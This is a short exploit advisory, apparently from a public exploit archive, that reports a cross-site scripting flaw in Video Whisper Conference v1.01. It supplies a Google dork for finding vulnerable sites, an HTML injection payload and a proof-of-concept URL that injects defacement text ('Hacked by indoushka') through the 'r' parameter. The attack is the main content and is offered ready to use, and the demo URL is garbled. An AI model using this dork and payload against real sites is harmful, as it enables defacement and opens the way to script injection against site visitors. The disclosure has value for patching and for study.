Video Whisper Conference version 1.01 suffers from a cross site scripting vulnerability.
============================================================================
| # Title : video whisper conference v1.01 XSS Vulnerability |
| # Author : indoushka |
| # Tested on : windows 10 Français V.(Pro) |
| # Vendor : https://www.videowhisper.com/demos/conference/ |
| # Dork : "Video Conference by VideoWhisper.com" |
============================================================================
poc :
[+] Dorking İn Google Or Other Search Enggine
[+] use payload : indoushka<acx><marquee><font color=lime size=32>indoushka</font></marquee>
[+] https://wwvideowhispercom/demos/conference/index.php?r=indoushka<acx><marquee><font color=lime size=32>Hacked by indoushka</font></marquee>
Greetings to :=================================================================
jericho * Larry W. Cashdollar * shadow_00715 * LiquidWorm * Hussin-X * D4NB4R |
===============================================================================
